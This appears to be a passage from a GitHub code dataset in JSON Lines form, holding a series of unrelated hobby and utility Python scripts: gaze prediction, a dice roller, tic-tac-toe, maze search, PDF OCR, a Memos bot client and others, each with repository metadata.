set_title_and_hide_axis('Extracted face image')\n plt.imshow(cv2.cvtColor(crop_image(img, face), cv2.COLOR_BGR2RGB), interpolation=\"bicubic\")\n plt.figure()\n #print('face image after extraction')\n render_face_grid(face_grid)\n\n for i, eye in enumerate(eyes):\n plt.figure()\n\n if i == 0: \n set_title_and_hide_axis('Extracted left eye image')\n else: \n set_title_and_hide_axis('Extracted right eye image')\n \n plt.imshow(cv2.cvtColor(crop_image(img, eye), cv2.COLOR_BGR2RGB), interpolation=\"bicubic\")\n\n\ndef render_gaze_plot(outputs):\n plt.figure(figsize=(10,10))\n circles = []\n circles.append(plt.Circle((0, 0), 0.1, color='b'))\n\n for output in outputs:\n circles.append(plt.Circle((output[0], output[1]), 0.5, color='r'))\n\n fig, ax = plt.subplots()\n for circle in circles:\n ax.add_artist(circle)\n ax.set_xlim(-20, 20)\n ax.set_ylim(-20, 20)\n ax.set_xlabel(\"Distance from Camera (cm)\")\n ax.set_ylabel(\"Distance from Camera (cm)\")\n \n fig.show()\n\nimg = cv2.imread('photos/IMG-1053.JPG')\nimg, faces, face_features = extract_image_features(img)\noutputs = test_faces(img, faces, face_features)\nrender_gaze_plot(outputs)\nshow_extraction_results(img, faces, face_features)\n\ncaffe.set_device(0)\ncaffe.set_mode_gpu()\n\n#testing with camera\ncap = cv2.VideoCapture(0)\ncap.set(3, 1920)\ncap.set(4, 1200)\n\nret, frame = cap.read()\ncap.release()\n\nimg, faces, face_features = extract_image_features(frame)\n\noutputs = test_faces(frame, faces, face_features)\nprint(outputs)\nrender_gaze_plot(outputs)\nshow_extraction_results(img, faces, face_features)\n\n\n\nprint(outputs)\ncircles = []\ncircles.append(plt.Circle((0, 0), 0.1, color='b'))\n\nfor output in outputs:\n circles.append(plt.Circle((output[0], output[1]), 0.5, color='r'))\n\n\nfig, ax = plt.subplots()\nfor circle in circles:\n ax.add_artist(circle)\nax.set_xlim(-20, 20)\nax.set_ylim(-20, 20)\nax.set_xlabel(\"Distance from Camera (cm)\")\nax.set_ylabel(\"Distance from Camera (cm)\")\nfig.show()\n\noutputs = test_faces(img, faces, face_features)\nprint(\"The outputs:\", outputs)\n\n\n\n# Test performance on CPU\ncaffe.set_mode_cpu()\noutputs = test_faces(faces, face_features)\n\nget_ipython().run_line_magic('timeit', 'test_faces(faces, face_features)')\n\n# run this if cuda enable and gpu has enough memory\ncaffe.set_mode_gpu()\ncaffe.set_device(0) # if we have multiple GPUs, pick the first one\n\n# run once to upload the network to gpu\noutputs = test_faces(faces, face_features)\n\n# then timeit\nget_ipython().run_line_magic('timeit', 'test_faces(faces, face_features)')\n\n# units in cm\nscreen_w = 5.58\nscreen_h = 10.45\nscreen_aspect = screen_w / screen_h\ncamera_l = 2.299\ncamera_t = 0.91\nscreen_t = 1.719\nscreen_l = 0.438\nphone_w = 6.727\nphone_h = 13.844\nscreen_from_camera = [screen_t - camera_t, screen_l - camera_l]\n\ncamera_coords_percentage = [camera_t / phone_h, camera_l / phone_w]\n\n#iphone 8 screen w and screen height from https://www.paintcodeapp.com/news/ultimate-guide-to-iphone-resolutions\nscreenW = 375\nscreenH = 667\n\nphone_w_to_screen = phone_w / screen_w\nphone_h_to_screen = phone_h / screen_h\n\ndef render_gaze(full_image, camera_center, cm_to_px, output):\n xScreen = output[0]\n yScreen = output[1]\n pixelGaze = [round(camera_center[0] - yScreen * cm_to_px), round(camera_center[1] + xScreen * cm_to_px)]\n \n cv2.circle(full_image,(int(pixelGaze[1]), int(pixelGaze[0])), 30, (0, 0, 255), -1)\n\n \ndef render_gazes(img, outputs):\n full_image = np.ones((round(img.shape[0] * 2), round(img.shape[1] * 2), 3), dtype=np.uint8)\n\n full_image_center = [round(full_image.shape[0] * 0.2), round(full_image.shape[1] *.5)]\n camera_center = full_image_center\n\n cm_to_px = img.shape[0] * 1. / screen_h\n\n screen_from_camera_px = [round(screen_from_camera[0] * cm_to_px), round(screen_from_camera[1] * cm_to_px)]\n\n screen_start = [camera_center[0] + screen_from_camera_px[0], camera_center[1] + screen_from_camera_px[1]]\n \n full_image[screen_start[0]:screen_start[0] + img.shape[0], screen_start[1]:screen_start[1] + img.shape[1], :] = img[:, :, :]\n\n cv2.circle(full_image,(camera_center[1],camera_center[0]), 30, (255, 0, 0), -1)\n \n for output in outputs:\n render_gaze(full_image, camera_center, cm_to_px, output)\n\n plt.figure(figsize=(10,10))\n plt.axes().get_xaxis().set_visible(False)\n plt.axes().get_yaxis().set_visible(False)\n plt.imshow(cv2.cvtColor(full_image, cv2.COLOR_BGR2RGB), interpolation=\"bicubic\") \n\nrender_gazes(img, outputs)\n\n# lets create a reusable function to extract the features, pass through the network, and render output\ndef test_and_render(image_path, show_details=False):\n img, faces, face_features = extract_image_features(cv2.imread(image_path))\n outputs = test_faces(img, faces, face_features)\n\n if show_details: \n show_extraction_results(img, faces, face_features)\n\n render_gazes(img, outputs)\n\ntest_and_render('photos/IMG-1066.JPG')\n\ntest_and_render('photos/IMG-1036.JPG')\n\ntest_and_render('photos/IMG-1037.JPG')\n\ntest_and_render('photos/IMG-1038.JPG')\n\ntest_and_render('photos/IMG-1044.JPG')\n\ntest_and_render('photos/IMG-1052.JPG')\n\ntest_and_render('photos/IMG-1053.JPG')\n\ntest_and_render('photos/IMG-1054.JPG')\n\ntest_and_render('photos/IMG-1055.JPG')\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/Predicting Gaze With Libraries.py","file_name":"Predicting Gaze With Libraries.py","file_ext":"py","file_size_in_byte":6996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"44621949475","text":"\"\"\"\r\nErlend Sanden\r\n\r\nerlend.h.sanden@gmail.com\r\n\r\n\r\nImports libraries\r\n\"\"\"\r\n\r\n\r\nimport pygame, random, time, math\r\n\r\n\"\"\"\r\nCreates class as requested from the assignment\r\n\"\"\"\r\n\r\n\r\nclass dice:\r\n\r\n \"\"\"\r\n Init function. Size is the width and length of the window. Size is the paramter of the function\r\n\r\n \"\"\"\r\n def __init__(self, size):\r\n\r\n \"\"\"\r\n Creates a dictionary which are the values that can be set by the user.\r\n \"\"\"\r\n color_dict = {\"black\" : [0, 0, 0], \"white\" : [255, 255, 255], \"red\" : [255, 0, 0], \"green\" : [0, 255, 0], \"blue\": [0,0,255], \"yellow\": [255, 255, 0], \"pink\": [255, 192, 203],\r\n \"brown\": [165, 42, 42], \"purple\": [128, 0, 128], \"orange\": [255, 165, 0], \"grey\": [128, 128, 128]}\r\n \"\"\"\r\n The user types in the x and y-positions. self.size//2 is the midpoint of the window. Top and left value of the window is equal to 0. Right and bottom value is equal to self.size \r\n \"\"\"\r\n self.size = size\r\n self.x = int(input(\"Write x-position \"))\r\n self.y = int(input(\"Write y-position \"))\r\n self.ace_size = int(self.size//20)\r\n self.x_midpoint = int(self.size//2)+self.x\r\n self.y_midpoint = int(self.size // 2) + self.y\r\n self.left = 10+self.x\r\n self.top = 10+self.y\r\n self.right = int(self.size - 1)+self.x\r\n self.bottom = int(self.size - 1)+self.y\r\n\r\n print(\"These are the colour options (black and white default): \")\r\n for i in color_dict:\r\n print(i)\r\n\r\n\r\n \"\"\"\r\n Sets die and spotcolor to default black and white\r\n \"\"\"\r\n\r\n\r\n self.dicecolor = color_dict.get(\"white\")\r\n self.spotcolor = color_dict.get(\"black\")\r\n\r\n\r\n self.diecolorinput = input(\"Enter colour of die \").lower()\r\n self.spotcolorinput = input(\"Enter color of eyes \").lower()\r\n\r\n if self.diecolorinput == \"\":\r\n pass\r\n else:\r\n self.dicecolor = color_dict.get(self.diecolorinput)\r\n\r\n if self.spotcolorinput == \"\":\r\n pass\r\n else:\r\n self.spotcolor = color_dict.get(self.spotcolorinput)\r\n\r\n\r\n self.d = pygame.display.set_mode((int(size*2), int(size*2)))\r\n self.display = pygame.display.set_caption(\"Dice simulator\")\r\n\r\n\r\n \"\"\"\r\n def rolling draws the eyes of the die. It rolls between 3 to 20 times. \r\n \r\n \"\"\"\r\n\r\n\r\n def rolling(self):\r\n\r\n self.pos_correct = int(self.size/2)\r\n rolls = random.randint(3,20)\r\n\r\n for i in range(rolls):\r\n self.d.fill(self.dicecolor)\r\n self.n = random.randint(1, 6)\r\n if self.n % 2 == 1:\r\n pygame.draw.circle(self.d, self.spotcolor, (self.pos_correct+self.x_midpoint, self.pos_correct+self.y_midpoint), self.ace_size)\r\n if self.n == 2 or self.n == 3 or self.n == 4 or self.n == 5 or self.n == 6:\r\n pygame.draw.circle(self.d, self.spotcolor, (self.pos_correct+self.left,self.pos_correct+self.bottom), self.ace_size)\r\n pygame.draw.circle(self.d, self.spotcolor, (self.pos_correct+self.right, self.pos_correct+self.top), self.ace_size)\r\n if self.n == 4 or self.n == 5 or self.n == 6:\r\n pygame.draw.circle(self.d, self.spotcolor, (self.pos_correct+self.left, self.pos_correct+self.top), self.ace_size)\r\n pygame.draw.circle(self.d, self.spotcolor, (self.pos_correct+self.right, self.pos_correct+self.bottom), self.ace_size)\r\n if self.n == 6:\r\n pygame.draw.circle(self.d, self.spotcolor, (self.pos_correct+self.x_midpoint, self.pos_correct+self.top), self.ace_size)\r\n pygame.draw.circle(self.d, self.spotcolor, (self.pos_correct+self.x_midpoint, self.pos_correct+self.bottom), self.ace_size)\r\n\r\n time.sleep(0.5)\r\n pygame.display.flip()\r\n if(i==rolls-1):\r\n pygame.display.flip()\r\n print(\"Lucky number is: \", self.n)\r\n input(\"Press enter to exit program\")\r\n\r\n\r\n\r\nsize = int(input(\"Enter a size value \"))\r\nroll = dice(size)\r\nroll.rolling()\r\n\r\n\r\n\r\n","repo_name":"steike93/dice-roll","sub_path":"dice_roll.py","file_name":"dice_roll.py","file_ext":"py","file_size_in_byte":4131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9825839217","text":"a=int(input(\"Enter no.\"))\nfor i in range(1,10):\n n=a\n while(n>0):\n r=int(n%10)\n if(r==i):\n print(i)\n exit()\n n=int(n/10)\n \n","repo_name":"IDeblina/python","sub_path":"loop/51.py","file_name":"51.py","file_ext":"py","file_size_in_byte":179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30496754258","text":"#! /usr/bin/env python3\n# A simple stupid storage server which deserializes and writes reports to ElasticSearch.\n\nimport bottle\nimport elasticsearch\nimport struct\nimport time\n\n\ndef deserialize_varint(report, i):\n n = 0\n shift = 0\n while True:\n cont = report[i] & 0x80\n v = report[i] & 0x7F\n n |= (v << shift)\n shift += 7\n i += 1\n if not cont:\n break\n return n, i\n\n\ndef deserialize_with_tag(report, i, tag):\n if tag == 0: # STRING\n length, i = deserialize_varint(report, i)\n val = report[i:i+length].decode(\"utf-8\")\n i += length\n elif tag == 1: # BOOL\n val = bool(report[i])\n i += 1\n elif tag == 2: # UINT\n val, i = deserialize_varint(report, i)\n elif tag == 3: # SINT\n positive = bool(report[i])\n i += 1\n val, i = deserialize_varint(report, i)\n if not positive:\n val = -val\n elif tag == 4: # FLOAT\n val = struct.unpack(\" 0:\n currentLocation = directionStack.pop(0)\n visitedLocations.add(tuple(currentLocation[0:2]))\n if currentLocation[0:2] == endingLocation:\n return currentLocation[2]\n directionStack.extend(getDirectionRanking(currentLocation, endingLocation, s, visitedLocations))\n\n return -1\n\ndef getDirectionRanking(currentLocation, endingLocation, s, visitedLocations):\n rankingList = []\n rankingList.append([currentLocation[0]-1,currentLocation[1]])\n rankingList.append([currentLocation[0]+1,currentLocation[1]])\n rankingList.append([currentLocation[0],currentLocation[1]-1])\n rankingList.append([currentLocation[0],currentLocation[1]+1])\n \n for nextLocation in rankingList:\n nextLocation.append(currentLocation[2] + 1)\n return ([x for x in rankingList if isValidLocation(x[0:2], s, visitedLocations)])\n \ndef isValidLocation(location, s, visitedLocations):\n if location[0] < 0 or location[0] >= len(s): \n return False\n if location[1] < 0 or location[1] >= len(s[location[0]]):\n return False\n if s[location[0]][location[1]] == 'X':\n return False\n if ','.join(str(e) for e in location[0:2]) in visitedLocations:\n return False\n return True\n \n \nprint(solution('___O;___X;___T'))\n","repo_name":"RobertShaw/HackerRankPractice","sub_path":"Practice/Python/MazeBreadthFirstSearch.py","file_name":"MazeBreadthFirstSearch.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"19752399202","text":"from os import system\n\ngame_table = [\n [' ', ' ', ' '],\n [' ', ' ', ' '],\n [' ', ' ', ' '],\n]\n\n\ndef reset_game():\n \"\"\"Filling the game table with blank fields\"\"\"\n global game_table\n\n for row in game_table:\n for idx, _ in enumerate(row):\n row[idx] = ' '\n\n\ndef print_table():\n \"\"\"Printing whole game table in the terminal\"\"\"\n global game_table\n\n # Clear the screen\n system('clear')\n\n # Print current table\n print()\n for r_idx, row in enumerate(game_table):\n for e_idx, element in enumerate(row):\n print(f' {element} ', end='')\n if e_idx != 2:\n print('|', end='')\n if r_idx != 2:\n print('\\n-----------')\n print('\\n')\n\n\ndef make_choice(player: str) -> tuple:\n \"\"\"Function to place user choice on the game table.\n Returns position of placed symbol in form of a tuple\"\"\"\n global game_table\n\n # Take user inputs\n print(f\"It's {player} turn.\")\n row_num = input(f\"Select row (1 - 3): \")\n col_num = input(f\"Select column (1 - 3): \")\n\n # Check if the inputs are valid\n if row_num in ['1', '2', '3'] and col_num in ['1', '2', '3']:\n row_num = int(row_num) - 1\n col_num = int(col_num) - 1\n # Check if the field is empty\n if game_table[row_num][col_num] == ' ':\n game_table[row_num][col_num] = player\n return row_num, col_num\n else:\n print_table()\n print('This field is already taken! Try again.')\n return make_choice(player)\n\n else:\n print_table()\n print('Invalid coordinates! Try again.')\n return make_choice(player)\n\n\ndef check_score(player: str, last_coordinates: tuple) -> bool:\n \"\"\"Checks if the user wins or if it's a draw based on the\n last coordinates\"\"\"\n global game_table\n\n row_num, col_num = last_coordinates\n\n if ( [row_num][0] == player and game_table[row_num][1] == player and game_table[row_num][1] == player or\n game_table[0][col_num] == player and game_table[1][col_num] == player and game_table[2][col_num] == player or\n game_table[0][0] == player and game_table[1][1] == player and game_table[2][2] == player or\n game_table[0][2] == player and game_table[1][1] == player and game_table[2][0] == player):\n print(f\"{player} WINS\")\n return True\n elif ' ' in game_table[0] + game_table[1] + game_table[2]:\n return False\n else:\n print(f\"It's a draw!\")\n return True\n\n\n# X starts the game\ncurrent_player = 'X'\nprint_table()\nprint(make_choice(player=current_player))\n\ngame_is_on = True\nwhile game_is_on:\n if current_player == 'X':\n current_player = 'O'\n else:\n current_player = 'X'\n\n print_table()\n last_pos = make_choice(player=current_player)\n if check_score(current_player, last_pos) is True:\n game_is_on = False\n","repo_name":"kubamaruszczak/python_exercises","sub_path":"tic_tac_toe/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24035019178","text":"#!/usr/bin/env python\n\nimport unittest as unittest\nimport os\nimport re\nimport sys\nimport argparse\nimport coverage\n\npathname = os.path.abspath(__file__)\npathname = pathname[:pathname.rfind(\"/\")]\nsys.path.append(pathname[:pathname.rfind(\"/\")])\n\n\"\"\"\nTo run coverage and submit data to coveralls:\ncoverage run --source=lumbermill /usr/lib64/pypy-4.0/bin/nosetests --verbosity=3 Test*.py\ncoverage html -d coverage/\n/usr/lib64/pypy-4.0/bin/coveralls\n\"\"\"\n\ndef compileRegExPattern(pattern):\n regex = None\n try:\n regex = re.compile(include_test_filename_pattern)\n except:\n etype, evalue, etb = sys.exc_info()\n print(\"RegEx error for pattern %s. Exception: %s, Error: %s.\" % (include_test_filename_pattern, etype, evalue))\n exit()\n return regex\n\n\nif __name__ == \"__main__\":\n test_dir = os.path.dirname(os.path.realpath(__file__))\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--include\", help=\"Regex pattern to include select tests. Default: Test*.py\")\n parser.add_argument(\"--exclude\", help=\"Regex pattern to exclude select tests. Default: None\")\n args = parser.parse_args()\n include_test_filename_pattern = 'Test*.py' if not args.include else args.include\n\n \"\"\"\n include_test_filename_pattern = '^Test.*\\.py$' if not args.include else args.include\n include_test_filename_pattern = compileRegExPattern(include_test_filename_pattern)\n exclude_test_filename_pattern = None if not args.exclude else args.exclude\n if(exclude_test_filename_pattern):\n exclude_test_filename_pattern = compileRegExPattern(exclude_test_filename_pattern)\n test_suite = unittest.TestSuite()\n for (dirpath, dirnames, filenames) in os.walk(test_dir):\n for filename in filenames:\n if exclude_test_filename_pattern and exclude_test_filename_pattern.match(filename):\n continue\n if include_test_filename_pattern.match(filename):\n test_suite.addTest(filename)\n \"\"\"\n os.chdir(test_dir)\n cov = coverage.coverage(config_file='../.coveragerc')\n cov.erase()\n cov.start()\n all_tests = unittest.TestLoader().discover('.', pattern=include_test_filename_pattern)\n unittest.TextTestRunner(verbosity=2).run(all_tests)\n cov.stop()\n #cov.annotate(directory='./coverage')\n cov.html_report(directory='./coverage')\n cov.report()\n","repo_name":"dstore-dbap/LumberMill","sub_path":"tests/run_tests.py","file_name":"run_tests.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"38"} +{"seq_id":"21961559106","text":"\"\"\"\nGiven a digit string, return all possible letter combinations that the number could represent.\nA mapping of digit to letters (just like on the telephone buttons) is given below.\n\nInput:Digit string \"23\"\nOutput: [\"ad\", \"ae\", \"af\", \"bd\", \"be\", \"bf\", \"cd\", \"ce\", \"cf\"].\n\nNote:\nAlthough the above answer is in lexicographical order, your answer could be in any order you want.\n\"\"\"\nfrom functools import reduce\n\n\ndef letterCombinations(digits):\n\t\"\"\"\n\t:type digits: str\n\t:rtype: List[str]\n\t\"\"\"\n\tif digits == '':\n\t\treturn []\n\tdict_ = {\n\t\t\"1\": '',\n\t\t\"2\": 'abc',\n\t\t\"3\": 'def',\n\t\t\"4\": 'ghi',\n\t\t\"5\": 'jkl',\n\t\t\"6\": 'mno',\n\t\t\"7\": 'pqrs',\n\t\t\"8\": 'tuv',\n\t\t\"9\": 'wxyz'\n\t}\n\n\treturn reduce(lambda foo, digit: [x + y for x in foo for y in dict_[digit]], digits, [''])\n\n\nprint(letterCombinations('454'))\n","repo_name":"luanxiangming/rqsts","sub_path":"tutorial/leetcode/letterCombinations.py","file_name":"letterCombinations.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"73275549551","text":"class Solution:\n def sb(self, a, n, x):\n # Your code goes here \n left=0\n current=0\n length=float(\"inf\")\n for i in range(len(nums)):\n current+=nums[i]\n while current>s:\n length=min(length, i+1-left)\n \n current-=nums[left]\n left+=1\n if length==float(\"inf\"):\n return 0\n return length\n","repo_name":"Ayu-99/Love-Babbar-DSA-Cracker-Sheet-Solutions","sub_path":"Python/Array/Smallest subarray with sum greater than x.py","file_name":"Smallest subarray with sum greater than x.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"38"} +{"seq_id":"3672259779","text":"#! /usr/bin/env python\n\n\nclass Configuration:\n\n\tdef get_config(self):\n\t\tself._conf_file = open(\"Config/TextFiles/ModelConfigurationParameters.txt\", \"r\")\n\t\tself._config_text = []\n\t\tfor self._text in self._conf_file.read().split():\n\t\t\tself._config_text.append(self._text)\n\t\tself._conf_file.close()\n\n\n\tdef refactor(self):\n\t\tself.num_list = []\n\t\tself.par_list = []\n\t\tself.inc_par = 0\n\t\tself.inc_num = 1\n\t\twhile self.inc_par < len(self._config_text):\n\t\t\tself.par_list.append(self._config_text[self.inc_par])\n\t\t\tself.inc_par += 2\n\t\twhile self.inc_num < len(self._config_text):\n\t\t\tself.num_list.append(float(self._config_text[self.inc_num]))\n\t\t\tself.inc_num += 2\n\t\treturn self.par_list, self.num_list\n\n\n\tdef par_to_val(self, parameter):\n\t\tindex = self.par_list.index(parameter)\n\t\treturn self.num_list[index]\n\n\n\tdef configure(self):\n\t\tself.get_config()\n\t\tself.refactor()\n\t\tself.L = self.par_to_val('wheel_base')\n\t\tself.B = self.par_to_val('track_width')\n\t\tself.max_steer = self.par_to_val('max_steer')\n\t\tself.show_animation = self.par_to_val('show_animation')\n\t\tif self.show_animation > 0:\n\t\t\tself.show_animation = True\n\t\telse:\n\t\t\tself.show_animation = False\n\t\tself.dt = self.par_to_val('dt')\n\t\treturn self.L, self.B, self.max_steer, self.show_animation, self.dt\n\n\ndef config():\n\tconfig_obj = Configuration()\n\tL, B, max_steer, show_animation, dt = config_obj.configure()\n\tconfig_list = [show_animation, dt, L, B, max_steer]\n\treturn config_list\n","repo_name":"eigenomarksamy/SDC-AMR_NavCon","sub_path":"Config/Configuration.py","file_name":"Configuration.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"12067655559","text":"import os\nimport glob\nimport shutil\nfrom PIL import Image\nimport pytesseract as tess\nfrom pathlib import Path, WindowsPath\nfrom pdf2image import convert_from_path\ntess.pytesseract.tesseract_cmd = r'C:\\Users\\nolha\\AppData\\Local\\Programs\\Tesseract-OCR\\tesseract.exe'\n\n#install shutil: https://pypi.org/project/pytest-shutil/\n#install poppler: https://stackoverflow.com/questions/18381713/how-to-install-poppler-on-windows\n#install pytesseract: https://github.com/tesseract-ocr/tesseract\n\nactual_path = Path.cwd()\nwork_path = WindowsPath(str(actual_path) + '\\work')\nOutput_path = WindowsPath(str(work_path) + '\\Output')\nInput_path = WindowsPath(str(work_path) + '\\Input')\nTemp_path = WindowsPath(str(work_path) + '\\Temp')\n\nif not os.path.exists(str(work_path)):\n os.makedirs(str(work_path))\n\nif not os.path.exists(str(Input_path)):\n os.makedirs(str(Input_path))\n\nif not os.path.exists(str(Output_path)):\n os.makedirs(str(Output_path))\n\nall_pdf = list(Input_path.glob('*.pdf'))\n\nfor i in range(len(all_pdf)):\n\n if not os.path.exists(str(Temp_path)):\n os.makedirs(str(Temp_path))\n\n Dest_path = str(Temp_path) + '/' + str(all_pdf[i].name)\n shutil.copyfile(str(all_pdf[i]) , str(Dest_path) )\n\n pdf = Dest_path\n pages = convert_from_path(pdf)\n img = pdf.replace(\".pdf\",\"\")\n name = all_pdf[i].name.replace(\".pdf\",\"\")\n \n count = 0 \n\n for page in pages:\n count += 1\n jpeg = img + \"-\" + str(count) + \".jpeg\"\n page.save(jpeg, 'JPEG')\n\n text_file = open(str(Output_path) + '/' + str(name) + '.txt' , \"wt\")\n\n j = 1\n\n while j < (count+1):\n img = Image.open(str(Temp_path) + '/' + str(name) + '-' + str(j) + '.jpeg')\n text = tess.image_to_string(img)\n text_file.write(text)\n j += 1\n\n text_file.close()\n\n shutil.rmtree(str(Temp_path))","repo_name":"Ncheups/ESCENSI","sub_path":"OCR/OCR_V1.py","file_name":"OCR_V1.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"6801496351","text":"#https://www.w3schools.com/python/ref_file_flush.asp\r\n#Python File flush() Method Python flush()\r\n#Flushes the internal buffer\r\n#刷新內部緩衝區。\r\n#You can clear the buffer when writing to a file:\r\n#您可以在寫入檔案時清除緩衝:\r\nf = open(\"demofile.txt\", \"a\")\r\nf.write(\"Now the file has one more line!\")\r\nf.flush()\r\nf.write(\"\\n...and another one!\")\r\n#Definition and Usage 定義和用法\r\n#The flush() method cleans out the internal buffer.\r\n#flush() 方法清除內部緩衝。\r\n#Syntax 語法\r\n#file.flush()\r\n#Parameter參數:Values值\r\n#No parameters無參數。\r\n\r\n\r\n\r\n","repo_name":"Bill640616Chen/python","sub_path":"w3-Python ref_file_flush.py","file_name":"w3-Python ref_file_flush.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"16632246671","text":"#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\nimport asyncio\r\n# import datetime\r\n\r\nfrom urllib.parse import urlparse\r\nfrom aiohttp.formdata import FormData\r\nfrom aiohttp import ClientResponse, ClientTimeout\r\nfrom aiohttp_retry import RetryClient, ClientSession\r\n# from loguru import logger\r\n\r\n\r\nclass Request:\r\n def __init__(self, *args, **kwargs):\r\n self.client_session = ClientSession()\r\n self.retry_client = RetryClient(client_session=self.client_session)\r\n self.request = self.retry_client.request(*args, **kwargs)\r\n\r\n async def __aenter__(self) -> ClientResponse:\r\n return await self.request\r\n\r\n async def __aexit__(self, exc_type, exc_val, exc_tb):\r\n await self.client_session.close()\r\n await self.retry_client.close()\r\n\r\n\r\ndef request(method, url, params=None, headers=None, data=None, json=None):\r\n if headers is None:\r\n headers = {}\r\n if params is None:\r\n params = {}\r\n if json is not None:\r\n return Request(method, url, params=params, headers=headers, ssl=False, json=json,\r\n timeout=ClientTimeout(total=1000))\r\n else:\r\n return Request(method, url, params=params, headers=headers, data=data, ssl=False,\r\n timeout=ClientTimeout(total=1000))\r\n\r\n\r\ndef parse_text(text: str):\r\n \"\"\"解析信息\r\n\r\n Args:\r\n text (str): 文字信息\r\n\r\n Returns:\r\n tuple: 返回一个4元组\r\n texts (str): 解析后的信息包含TAG \r\n tags (list): tag列表\r\n visibility (str): 是否公开,默认为不公开\r\n res_ids (list): 资源列表\r\n \"\"\"\r\n text_list = text.split(' ')\r\n tags = []\r\n res_ids = []\r\n visibility = \"PRIVATE\"\r\n word_list = []\r\n for t in text_list:\r\n if t == '#PUBLIC':\r\n visibility = \"PUBLIC\"\r\n elif t.startswith('#'):\r\n tags.append(t.strip('#'))\r\n word_list.append(t)\r\n # elif t.startswith('[') and t.endswith(']'):\r\n # res_ids = [int(x) for x in list(eval(t))]\r\n elif t.startswith('&'):\r\n if t.strip('&').isnumeric():\r\n res_ids.append(int(t.strip('&')))\r\n else:\r\n word_list.append(t)\r\n else:\r\n word_list.append(t)\r\n texts = ' '.join(word_list)\r\n return texts, tags, visibility, res_ids\r\n\r\n\r\nclass Memo:\r\n def __init__(self, token):\r\n api = urlparse(token)\r\n self.netloc = api.netloc\r\n self.open_api = api.query\r\n self.scheme = api.scheme\r\n\r\n async def send_memo(self, text=None, visibility=\"PRIVATE\", res_id_list=None):\r\n if res_id_list is None:\r\n res_id_list = []\r\n data = {\r\n \"content\": text,\r\n \"visibility\": visibility,\r\n \"resourceIdList\": res_id_list\r\n }\r\n path = 'api/memo'\r\n url = f'{self.scheme}://{self.netloc}/{path}?{self.open_api}'\r\n async with request(\"POST\", url=url, json=data) as resp:\r\n assert resp.status == 200\r\n resp_data = await resp.json()\r\n return resp_data['data']['id']\r\n\r\n async def archive_memo(self, memo_id):\r\n data = {'id': int(memo_id), 'rowStatus': 'ARCHIVED'}\r\n path = f'api/memo/{memo_id}'\r\n url = f'{self.scheme}://{self.netloc}/{path}?{self.open_api}'\r\n async with request(\"PATCH\", url, json=data) as resp:\r\n assert resp.status == 200\r\n return\r\n\r\n async def update_memo(self, memo_id, text=None, visibility=\"PRIVATE\", res_id_list=None):\r\n \"\"\"\r\n 目前只支持更新文字的memo,不支持更新资源\r\n :param memo_id:\r\n :param text:\r\n :param visibility:\r\n :param res_id_list:\r\n :return:\r\n \"\"\"\r\n data = {\r\n \"id\": memo_id,\r\n \"content\": text,\r\n \"visibility\": visibility,\r\n \"resourceIdList\": res_id_list\r\n }\r\n path = f'api/memo/{memo_id}'\r\n url = f'{self.scheme}://{self.netloc}/{path}?{self.open_api}'\r\n async with request(\"PATCH\", url, json=data) as resp:\r\n assert resp.status == 200\r\n return\r\n\r\n\r\n\r\nclass Resource:\r\n def __init__(self, token):\r\n api = urlparse(token)\r\n self.netloc = api.netloc\r\n self.open_api = api.query\r\n self.scheme = api.scheme\r\n\r\n async def create_res(self, res, filename):\r\n path = 'api/resource/blob'\r\n url = f'{self.scheme}://{self.netloc}/{path}?{self.open_api}'\r\n # filename = f'pic-{datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\")}'\r\n data = FormData()\r\n data.add_field('file', res, filename=filename, content_type='image/jpeg')\r\n async with request(\"POST\", url, data=data) as resp:\r\n assert resp.status == 200\r\n res_data = await resp.json()\r\n return res_data['data']['id']\r\n\r\nclass Tag:\r\n def __init__(self, token):\r\n api = urlparse(token)\r\n self.netloc = api.netloc\r\n self.open_api = api.query\r\n self.scheme = api.scheme\r\n\r\n async def create_tag(self, name):\r\n path = 'api/tag'\r\n url = f'{self.scheme}://{self.netloc}/{path}?{self.open_api}'\r\n data = {'name': name}\r\n async with request(\"POST\", url, json=data) as resp:\r\n assert resp.status == 200\r\n\r\n\r\nif __name__ == '__main__':\r\n memos = '#memos #public 测试文字解析 [1,2,3]'\r\n memo = Tag('http://localhost:3001/api/memo?openId=00118412EFA02227B49BD145D6F75940')\r\n asyncio.run(memo.create_tag('测试1'))\r\n # print(t,tags,v,res)\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"janzbff/MemosBot","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5651,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"1912096015","text":"import numpy as np\nimport pylab as py\nfrom astropy.io import fits as pyfits\nimport pdb\nfrom scipy import interpolate as interp\n\nclass PSF_grid(object):\n \"\"\"\n Container for a grid of PSFs. This function hosts\n all of the interpolation routines such that you can \"get_psf\"\n anywhere in the focal plane.\n \"\"\"\n\n\n def __init__(self, psf,\n wave_array=[487, 625, 770, 870, 1020, 